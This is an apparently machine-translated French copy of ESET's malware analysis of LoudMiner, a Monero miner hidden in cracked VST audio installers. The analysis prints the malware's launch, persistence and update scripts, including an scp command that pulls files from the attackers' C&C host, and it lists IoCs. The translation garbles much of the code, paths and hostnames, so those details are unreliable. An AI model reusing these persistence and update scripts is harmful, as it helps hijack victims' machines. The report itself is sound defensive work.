LoudMiner: Exploitation multi-plateforme dans un logiciel VST fissuré – Serveur d’impression
L'histoire d'un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS
LoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation – QEMU sous macOS et VirtualBox sous Windows – pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme. Il est livré avec des copies piratées du logiciel VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles.
Au moment de la rédaction du présent document, 137 applications liées à VST (42 pour Windows et 95 pour macOS) étaient disponibles sur un seul site Web WordPress avec un domaine enregistré le 24 août 2018. La première application – Kontakt Native Instruments 5.7 pour Windows – a été téléchargé le même jour. La taille des applications rend difficile leur analyse, mais il semble raisonnable de supposer qu'elles sont toutes troyens.
Les applications elles-mêmes ne sont pas hébergées sur le site WordPress, mais sur 29 serveurs externes, disponibles dans la section IoCs. Les administrateurs du site mettent également à jour fréquemment les applications avec des versions plus récentes, ce qui rend difficile le suivi de la toute première version du mineur.
En ce qui concerne la nature des applications visées, il est intéressant de noter que leur objectif est lié à la production audio; ainsi, les machines sur lesquelles ils sont installés doivent avoir une bonne puissance de traitement et une consommation de processeur élevée ne surprendra pas les utilisateurs. En outre, ces applications étant généralement complexes, il n’est donc pas surprenant qu’elles soient des fichiers volumineux. Les attaquants profitent de cela pour camoufler leurs images de machine virtuelle. De plus, la décision d'utiliser des machines virtuelles au lieu d'une solution allégée est tout à fait remarquable et ce n'est pas quelque chose que nous voyons régulièrement.
Voici quelques exemples d'applications, ainsi que des commentaires que vous pouvez trouver sur le site:
- Raison Propellerhead
- Ableton Live
- Sylenth1
- Lien
- Reaktor 6
- AutoTune
Nous avons trouvé plusieurs discussions de forum d'utilisateurs se plaignant d'un qemu-system-x86_64 processus prenant 100% de leur processeur sur leur Mac:
Un utilisateur nommé «Macloni» (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit:
«Malheureusement, nous avons dû réinstaller OSX. Le problème, c’était qu’Ableton Live 10, que je l’avais téléchargé depuis un site torrent et non depuis le site officiel, installait également un mineur, exécuté à l’arrière-plan, ce qui provoquait cet incident.» Le même utilisateur a joint des captures d’écran. du moniteur d'activité indiquant 2 processus – qemu-system-x86_64 et outils-service – utiliser 25% des ressources du processeur et fonctionner en tant que root. ”
L'idée générale des analyses macOS et Windows reste la même:
- Une application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour assurer la persistance.
- L’utilisateur télécharge l’application et suit les instructions ci-jointes pour l’installer.
- LoudMiner est installé en premier, le logiciel VST après.
- LoudMiner se cache et devient persistant au redémarrage.
- La machine virtuelle Linux est lancée et l'extraction démarre.
- Les scripts à l'intérieur de la machine virtuelle peuvent contacter le serveur C & C pour mettre à jour le mineur (configuration et fichiers binaires).
Lors de l’analyse des différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la manière dont il est intégré au logiciel, au domaine du serveur C & C, et à une chaîne de version créée par l’auteur.
Sommaire
macOS
Nous avons identifié trois versions MacOS de ce logiciel malveillant jusqu'à présent. Tous comprennent les dépendances nécessaires pour exécuter QEMU dans installerdata.dmg à partir duquel tous les fichiers sont copiés sur / usr / local / bin et disposer des autorisations appropriées en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un cœur de processeur. La persistance est obtenue en ajoutant des fichiers plist dans / Bibliothèque / LaunchDaemons avec RunAtLoad mis à vrai. Ils ont aussi Rester en vie mis à true, s'assurer que le processus sera redémarré s'il est arrêté. Chaque version a ces composants:
- Images QEMU Linux.
- Scripts shell utilisés pour lancer les images QEMU.
- Les démons lançaient les scripts shell au démarrage et les maintenaient actifs.
- Un script de shell de moniteur de processeur avec un démon associé qui peut démarrer / arrêter l’extraction en fonction de l’utilisation du Moniteur d'activité processus est en cours d'exécution.
Le script du moniteur de la CPU peut démarrer et arrêter l'extraction en chargeant et en déchargeant le démon. Si la Moniteur d'activité processus est en cours d'exécution, l'extraction s'arrête. Sinon, il vérifie depuis combien de temps le système est inactif:
ioreg -c IOHIDSystem | awk '/ HIDIdleTime / print $ NF / 1000000000; sortie'
Ioreg –c Système IOHIDS | awk '/ HIDIdleTime / print $ NF / 1000000000; sortie' |
Si cela fait plus de 2 minutes, l’extraction commence. Si cela fait moins de 2 minutes, il vérifie l’utilisation totale de la CPU:
ps -A -o% cpu | awk 's + = $ 1 END print s'
ps –UNE –o %CPU | awk 's + = $ 1 END print s' |
divise cela par le nombre de cœurs de la CPU:
sysctl hw.logicalcpu | awk 'print $ 2')
sysctl hw.logiccpu |awk 'print $ 2') |
et s'il est supérieur à 85%, il arrête l'extraction. Le script lui-même est un peu différent selon les versions, mais l'idée générale reste la même.
Une fois l'installation terminée, tous les fichiers d'installation liés à Miner sont supprimés.
Version 1
Les fichiers Miner contenus dans le package d'application téléchargé ne sont aucunement masqués ni placés dans un autre package. ils sont installés à côté du logiciel aux endroits suivants:
- / Bibliothèque / Application Support / .Qemusys
- qemu-system-x86_64 – binaire QEMU propre
- sys00_1-disk001.qcow2 – image Linux (première)
- qemuservice – script shell qui lance la première image via le qemu-system-x86_64 binaire (voir le script 1)
- / Bibliothèque / Application Support / .System-Monitor
- system-monitor.daemon – lance la première image via moniteur système binaire
- / usr / local / bin
- .Outils-Service
- sys00_1-disk001.qcow2 – image Linux (seconde)
- tools-service.daemon – lance la deuxième image via outils-service binaire
- cpumonitor – démarre / arrête l'exploration en fonction du temps d'inactivité et de l'utilisation du processeur
- moniteur système – copie de qemu-system-x86_64 binaire
- outils-service – copie de qemu-system-x86_64 binaire
- .Outils-Service
- / Bibliothèque / LaunchDaemons
- buildtools.system-monitor.plist – lancements system-monitor.daemon
- buildtools.tools-service.plist – lancements tools-service.daemon
- modulesys.qemuservice.plist – lancements qemuservice
- systools.cpumonitor.plist – lancements cpumonitor
#! / bin / bash
fonction start
pgrep "Moniteur d'activité"
si [ $? -eq 0 ]; puis
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
autre
/ usr / local / bin / qemu-system-x86_64 -M accel = hvf – hôte cpu / Bibliothèque / Application Support / .Qemusys / sys00_1-disk001.qcow2 -display aucun
Fi
début;
#! / bin / bash une fonction début pgrep "Moniteur d'activité" si [[[[ $? –eq 0 ]; puis launchctl décharger –w /Bibliothèque/LaunchDaemons/com.modulesys.qemuservice.plist autre /usr/local/poubelle/qemu–système–x86_64 –M accel=hvf –CPU hôte /Bibliothèque/Application Soutien/.Qemusys/sys00_1–disk001.qcow2 –afficher aucun Fi
début; |
Script 1. qemuservice script shell
Une fois les dépendances copiées, tous les démons liés aux mineurs sont lancés, puis le logiciel proprement dit est installé:
- qemuservice ne lancera pas l'image si le Moniteur d'activité processus est en cours d'exécution. En fait, s'il fonctionne, il déchargera le plist par lequel il a été lancé.
- tools-service.daemon lancera l'image uniquement lorsque qemu-system-x86_64 processus ne fonctionne pas et après avoir dormi pendant 45 minutes.
- System-monitor.daemon lancera l'image uniquement si le processeur Intel i5, i7 ou i9 est détecté.
Ces scripts utilisent la même commande pour lancer l'image QEMU, seuls les noms et le chemin de l'image diffèrent.
Nous avons trouvé la capture d'écran suivante liée à la version 1 du mineur:
C’est de Little Snitch qui indique que certaines connexions du processus qemu-system-x86_64 ont été bloqués. Plus précisément, hopto[.]org (un service de nom d’hôte gratuit) est un C & C utilisé par la version 1 du mineur.
Version 2
Les fichiers Miner sont en data_installer.pkg à l'intérieur du package d'application téléchargé. data_installer.pkg est installé en premier, puis le logiciel VST. Avant l'installation, la version 1 du mineur est supprimée lors de l'exécution de la commande:
Comme indiqué dans la liste du script 2, il ne le fait que lorsqu'il détecte un qemu-system-x86_64 processus.
#! / bin / bash
#Clear Old
fonction clear
LGC = `ps aux
clair;
1 2 3 4 5 6 7 8 9 dix 11 12 13 14 15 16 17 18 19 20 21 22 |
#! / bin / bash #Clear Old une fonction clair LGC=`ps aux clair; |
Script 2 data_installer.pkg script de préinstallation qui supprime la version 1
Les fichiers temporaires suivants sont créés:
- / Utilisateurs / Partagé
- z1 – binaire QEMU
- z1.daemon – lance l'image QEMU avec le binaire QEMU
- z1.qcow2 – image QEMU
- z1.plist – lancements z1.daemon
- z3 – Script de moniteur de processeur, peu de changement par rapport à la version 1 cpumonitor
- z3.plist – utilisé pour lancer z3
- randwd – génère des noms aléatoires
Une fois les dépendances copiées, le mineur est installé. Cette fois, les noms des fichiers binaires, des listes de plists et des répertoires QEMU sont randomisés avec randwd scénario. L’installation de mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Voici ce qui se passe pour chaque copie:
- Un répertoire avec un nom aléatoire est créé dans / Bibliothèque / Support d'application
- Le binaire QEMU z1 porte le même nom que le répertoire et est copié dans / usr / local / bin
- z1.daemon (voir liste dans le script 3) et z1.qcow2 sont copiés dans ce répertoire sous leurs noms aléatoires
- z1.plist est copié avec le nom com.
.pliste dans / Bibliothèque / LaunchDaemons
z1.daemon, z1.plist, z3 et z3.plist les fichiers servent de modèles. Les références à d'autres scripts, fichiers binaires, plists, etc. de ces fichiers sont remplacées par le nom aléatoire généré correspondant.
Un nom aléatoire est également choisi pour le moniteur de la CPU (z3) shell script et son fichier de plist associé. z3 est copié dans / usr / local / bin et le plist dans / Bibliothèque / LaunchDaemons sous le nom com.
#! / bin / bash
fonction start
pgrep "Moniteur d'activité"
si [ $? -eq 0 ]; puis
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
autre
/ usr / local / bin / BBBB -M accel = hvf – hôte cpu / Bibliothèque / Application Support / CCCC / DDDD – affichage aucun
Fi
début;
#! / bin / bash une fonction début pgrep "Moniteur d'activité" si [[[[ $? –eq 0 ]; puis launchctl décharger –w /Bibliothèque/LaunchDaemons/com.AAAA.plist autre /usr/local/poubelle/BBBB –M accel=hvf –CPU hôte /Bibliothèque/Application Soutien/CCCC/DDDD –afficher aucun Fi
début; |
Script 3. z1.daemon script shell
La version 2 est un peu plus propre et / ou plus simple que la version 1. Il n'y a qu'une seule image QEMU, avec deux copies réalisées; même chose pour les scripts de lancement d’image, les démons et le cpumonitor. Même si la version 2 randomise ses noms de fichiers et ses répertoires, elle ne peut être installée qu'une seule fois car l'installation vérifie les processus en cours d'exécution avec accel = hvf dans leur ligne de commande.
Depuis les applications de la version 2 que nous avons vérifiées jusqu’à présent, le hachage SHA1 du data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.
Version 3
Les fichiers de mineur sont dans un fichier DMG crypté, appelé do.dmg, à l'intérieur du package d'application. Le DMG est monté avec la commande suivante:
printf '% s 0' 'VeryEasyPass123!' | hdiutil attachez -noverify /Users/Shared/instapack/do.dmg -stdinpass.
printf '% s 0' 'VeryEasyPass123!' | hdiutil attacher –noverify /Utilisateurs/partagé/instapack/faire.Dmg –stdinpass. |
Le mineur DMG contient un seul paquet: datainstallero.pkg. Ceci et le progiciel sont ensuite installés.
Le contenu de l'emballage de datainstallero.pkg et data_installer.pkg à partir de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis – clearpacko.sh et installpacko.sh – et obscurcit un script existant – randwd:
- clearpacko.sh supprime la version 1 du mineur comme la version 2.
- installpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script.
Le SHA1 du do.dmg reste le même: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.
Lancer l'image Linux
Toutes les versions utilisent plusieurs scripts de shell pour lancer les images. Les scripts shell sont exécutés par les plists au démarrage et sont maintenus en vie.
- La version 1 exécute les fichiers binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU: qemu-system-x86_64, moniteur système, outils-service.
- Les versions 2 et 3 utilisent la même commande, mais le nom du fichier binaire, répertoire dans Support d'application et le nom de fichier QEMU est aléatoire.
Toutes les versions utilisent les commutateurs suivants:
- -M accel = hvf utiliser le framework Hypervisor comme accélérateur. HVF a été introduit avec OS X 10.10 et un support pour HVF a été ajouté dans QEMU 2.12, qui a été publié en avril 2018.
- -display aucun de sorte que la machine virtuelle s'exécute sans interface graphique.
Étant donné que l'image est lancée sans spécifier la quantité de RAM et le nombre de cœurs de la CPU, les valeurs par défaut sont utilisées: 1 cœur de la CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.
Windows (version 4)
À partir des chaînes que nous avons extraites de l'application, nous définissons la seule version de Windows vue jusqu'à présent, la version 4. Comme nous l'avons mentionné précédemment, la logique est assez similaire à la version macOS. Chaque application Windows est présentée sous la forme d’un programme d’installation MSI qui installe à la fois l’application «fissurée» et la figure 8 illustre la zone de confiance pour l’installation du pilote VirtualBox lors de l’exécution d’un programme d’installation VST «fissuré» à partir de vstcrack.[.]com.
VirtualBox est installé dans son nom de dossier habituel (C: Program Files Oracle) cependant, les attributs du répertoire sont réglés sur «masqué». Le programme d’installation copie ensuite l’image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C: vms, qui est aussi un répertoire caché. Une fois l’installation terminée, le programme d’installation exécute un script de traitement par lots compilé avec BAT2EXE (voir la liste des packages décompressés dans le script 4) pour importer l’image Linux et exécuter VmServiceControl.exe pour démarrer la machine virtuelle en tant que service.
@Écho off
setlocal EnableExtensions EnableDelayedExpansion
"c: Program Files Oracle VirtualBox vboxmanage.exe" dossier machine de la propriété "% userprofile% appdata roaming"
"c: Program Files Oracle VirtualBox vboxmanage.exe" import "c: vms tmp sys00_1.ova"
xcopy / Y "C: Windows System32 Config systemprofile .VirtualBox" "C: vms .VirtualBox "
"C: vms VmServiceControl.exe" -i
del / F "c: vms tmp sys00_1.ova"
@écho de setlocal EnableExtensions EnableDelayedExpansion "c: Program Files Oracle VirtualBox vboxmanage.exe" set property dossier machine "% userprofile% appdata roaming" "c: Program Files Oracle VirtualBox vboxmanage.exe" importation "c: vms tmp sys00_1.ova" xcopy /Y "C: Windows System32 Config systemprofile .VirtualBox" "C: vms .VirtualBox " "C:vmsVmServiceControl.EXE" -je del / F "c:vmstmpsys00_1.ovules" |
Script 4. Script batch utilisé pour exécuter la machine virtuelle Linux en tant que service
Cette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d'activer le AutoStart option pour que la machine virtuelle soit automatiquement lancée au démarrage.
VBOX_USER_HOME = C: vms .VirtualBox
RunWebService = no
PauseShutdown = 5000
[Vm0]
VmName = sys00_1
ShutdownMethod = acpipowerbutton
AutoStart = oui
[[[[Réglages] VBOX_USER_HOME=C:vms.VirtualBox RunWebService=non PauseArrêt=5000 [[[[Vm0] VmName=sys00_1 Méthode d'arrêt=acpipowerbutton AutoStart=Oui |
Script 5. Fichier de configuration pour VBoxVmService avec AutoStart activée
Le fichier OVF inclus dans l'image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6): elle utilise 1 Go de RAM et 2 cœurs de processeur (avec une utilisation maximale de 90%).
<Matériel> <CPU compter="2" exécutionCap="90"> <PAE activée="vrai"/> <LongMode activée="vrai"/> <X2APIC activée="vrai"/> <MatérielVirtExLargePages activée="vrai"/> </CPU> <Mémoire RAMSize="1024"/> |
Script 6. Configuration matérielle de l'image Linux
Image de Linux
L'image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour maintenir le mineur à jour en permanence. Les fichiers les plus intéressants sont:
- /root/.ssh/id_rsa, id_rsa.pub – la clé de paire SSH utilisée pour mettre à jour le mineur à partir du serveur C & C à l'aide de SCP.
- /opt/bootsync.sh, bootlocal.sh – les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C & C et de l'exécuter (voir Scripts 7 et 8):
/ usr / bin / sethostname box
/opt/bootlocal.sh 2> & 1> / dev / null &
echo "booting"> / etc / sysconfig / noautologin
/usr/poubelle/sethostname boîte /opter/bootlocal.sh 2>Et1 > /dev/nul Et écho "démarrage" > /etc/sysconfig/noautologin |
Script 7. bootsync.sh
/ mnt / sda1 / tools / bin / idgenerator 2> & 1> / dev / null
/ mnt / sda1 / tools / bin / xmrig_update 2> & 1> / dev / null
/ mnt / sda1 / tools / bin / ccommand_update 2> & 1> / dev / null
/ mnt / sda1 / tools / bin / ccommand 2> & 1> / dev / null
/ mnt / sda1 / tools / bin / xmrig
/mnt/sda1/outils/poubelle/générateur d'énergie 2>Et1 > /dev/nul /mnt/sda1/outils/poubelle/xmrig_mettre à jour 2>Et1 > /dev/nul /mnt/sda1/outils/poubelle/commande_mettre à jour 2>Et1 > /dev/nul /mnt/sda1/outils/poubelle/commande 2>Et1 > /dev/nul /mnt/sda1/outils/poubelle/xmrig |
Script 8. bootlocal.sh
- / mnt / sda1 / tools / bin – les fichiers principaux et les scripts utilisés pour mettre à jour et exécuter le mineur.
- / mnt / sda1 / tools / xmrig – contient le code source de XMRig (à partir du référentiel GitHub).
La configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisé pour le pool d’extraction, qui peuvent varier en fonction de la version (voir des exemples dans la section IoC).
Le mécanisme de mise à jour est effectué via SCP (Secure File Copy) par trois scripts différents:
- xmrig_update – met à jour la configuration du mineur (config.json)
- commande – mises à jour ccommand_update, xmrig_update (voir le script 9), updater.sh, xmrig;
- ccommand_update – mises à jour commande;
D'après ce que nous avons vu, la configuration du mineur est mise à jour une fois par jour.
#! / bin / sh
ping -w 40 127.0.0.1
cd / mnt / sda1 / tools / bin / & scp -P 5100 -C -o StrictHostKeyChecking = no -o UserKnownHostsFile = / dev / null x01@system-update.is: ctrl / cowboinvox`date +% Y% m% d `config.json.new && mv config.json config.json.bkp && mv config.json.new config.json
#! / bin / sh ping –w 40 127.0.0.1 CD /mnt/sda1/outils/poubelle/ && scp –P 5100 –C –o StrictHostKeyChecking=non –o UserKnownHostsFile=/dev/nul x01@système–mettre à jour.est:ctrl/cowboinvox`rendez-vous amoureux +%Y%m%ré` config.JSON.Nouveau && mv config.JSON config.JSON.bkp && mv config.JSON.Nouveau config.JSON |
Script 9. xmrig_update
Afin d’identifier une session d’extraction particulière, un fichier contenant l’adresse IP de la machine et la date du jour est créé par le générateur d'énergie Le script et sa sortie sont envoyés au serveur C & C par le updater.sh scénario.
Évidemment, le meilleur conseil à se protéger contre ce type de menace est de ne pas télécharger des copies piratées de logiciels commerciaux. Toutefois, il existe des astuces qui peuvent vous aider à identifier le moment où une application contient du code indésirable:
- Confiance provenant d’un programme d’installation «supplémentaire» inattendu (dans ce cas, la carte réseau Oracle).
- Consommation de processeur élevée par un processus que vous n'avez pas installé (QEMU ou VirtualBox dans ce cas).
- Un nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau démon de lancement (macOS).
- Connexions réseau à des noms de domaine curieux (tels que system-update[.]info ou vérification du système[.]services ici).
Des hachis
applications «fissurées» macOS (versions 1 à 3)
SHA-1 | Nom de fichier | Nom de détection ESET | Numéro de version |
---|---|---|---|
71030028c4e1b844c85138bd77ddea96a190ec2c | Virtual_DJ_8_Pro_Infinity_macOS.pkg | OSX / LoudMiner.A | 1 |
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 | Native Instruments Massive Installer.pkg | OSX / LoudMiner.A | 1 |
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 | Massive_v1.5.5_Installer_macOS.dmg | OSX / LoudMiner.B | 2 |
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 | Native_Instruments_Effects_Series_Mod_Pack.dmg | OSX / LoudMiner.B | 2 |
88efc767a32299e922f1b41f82c8d584585e2161 | Spectrasonics_Omnisphere_2.5_OSx.dmg | OSX / LoudMiner.C | 3 |
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd | Lennar_Digital_Sylenth1_2.2.1.dmg | OSX / LoudMiner.C | 3 |
Applications «fissurées» de Windows (version 4)
SHA-1 | Nom de fichier | Nom de détection ESET |
---|---|---|
23faacfc23cfef65504d7fa20854030b96a9df91 | Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip | Win32 / LoudMiner.A |
5a8682eae69b2e11d45980941a972bd734630207 | Infected-Mushroom-Manipulator-V1.0.3.zip | Win32 / LoudMiner.A |
60a8f1d4a028153271093e815e8267bd25fde852 | Sonic_Academy_ANA_2.0.3_x86_x64.msi | Win32 / LoudMiner.A |
7c7876058783da85d5502b9406f7fb4d26f66238 | SoundToys_5.0.1_x64-SetupFiles.rar | Win32 / LoudMiner.A |
a1a1dc7876d71749a8bc5690c537451770ef4ab8 | Valhalla-DSP-Full-Bundle-setupfiles.zip | Win32 / LoudMiner.A |
Images Linux
SHA-1 | Nom de fichier | Numéro de version |
---|---|---|
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 | sys00_1-disk001.qcow2 | 1 |
d1e42e913da308812dd8da1601531b197c1a09a1 | sys00_1-disk001.qcow2 | 1 |
39a7e86368f0e68a86cce975fd9d8c254a86ed93 | z1.qcow2 (renommé avec un nom aléatoire) | 2 |
59026ffa1aa7b60e5058a0795906d107170b9e0f | z1.qcow2 (renommé avec un nom aléatoire) | 3 |
fcf5c3b560295ee330b97424b7354fd321757cc6 | sys00_1.ova | 4 |
fc60431a0172d5b8cf4b34866567656467cf861c | sys00_1.ova | 4 |
Noms de fichiers
macOS
- / Bibliothèque / Application Support / .Qemusys
- / Bibliothèque / Application Support / .System-Monitor
- /usr/local/bin/.Tools-Service, cpumonitor, moniteur système, tools-service
- /Bibliothèque/LaunchDaemons/com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist
les fenêtres
Noms d'hôtes
vstcrack[.]com (137[.]74.151.144)
Hôtes de téléchargement (via HTTP sur le port 80)
- 185[.]112.156.163
- 185[.]112.156.29
- 185[.]112.156.70
- 185[.]112.157.102
- 185[.]112.157.103
- 185[.]112.157.105
- 185[.]112.157.12
- 185[.]112.157.181
- 185[.]112.157.213
- 185[.]112.157.24
- 185[.]112.157.38
- 185[.]112.157.49
- 185[.]112.157.53
- 185[.]112.157.65
- 185[.]112.157.72
- 185[.]112.157.79
- 185[.]112.157.85
- 185[.]112.157.99
- 185[.]112.158.112
- 185[.]112.158.133
- 185[.]112.158.186
- 185[.]112.158.190
- 185[.]112.158.20
- 185[.]112.158.3
- 185[.]112.158.96
- d-d[.]hôte (185[.]112.158.44)
- d-d[.]vivre (185[.]112.156.227)
- d-d[.]espace (185[.]112.157.79)
- m-m[.]icu (185[.]112.157.118)
Mettre à jour les hôtes (via SCP)
- aly001[.]hopto.org (192[.]210.200.87, port 22)
- mise à jour du système[.]est (145[.]249.104.109, port 5100)
Mining hôtes
- mise à jour du système[.]info (185)[.]193.126.114, port 443 ou 8080)
- verification du système[.]services (82[.]221.139.161, port 8080)
Tactique | ID | prénom | La description |
---|---|---|---|
Exécution | T1035 | Exécution du service | Sous Windows, l'image Linux est exécutée en tant que service avec VboxVmService. |
Persistance | T1050 | Nouveau service | Installez la machine virtuelle Linux en tant que service avec VboxVmService. |
T1062 | Hyperviseur | Installez un hyperviseur de type 2 sur l'hôte (VirtualBox ou QEMU) pour exécuter le mineur. | |
T1160 | Lancer le démon | Les versions de macOS utilisent un démon de lancement pour assurer la persistance. | |
Défense Evasion | T1027 | Fichiers ou informations masqués | Certains scripts shell sont obscurcis et certains installateurs sont chiffrés dans les versions de macOS. |
T1045 | Emballage logiciel | Utilisez BAT2EXE pour créer un script de lot dans les versions Windows. | |
T1158 | Fichiers cachés et répertoires | Le dossier d'installation de VirtualBox et le répertoire contenant l'image Linux sont masqués. | |
Commander et contrôler | T1043 | Port couramment utilisé | Utilisez les ports TCP 443 et 8080 pour la communication du pool d’extraction. |
T1105 | Copie de fichier à distance | Utilisez SCP (port 22 ou 5100) pour copier des fichiers depuis / vers le serveur C & C. | |
Impact | T1496 | Détournement de ressources | Utilisez des machines victimes pour extraire la crypto-monnaie (Monero). |
Michal Malik et ESET Research
Commentaires
Laisser un commentaire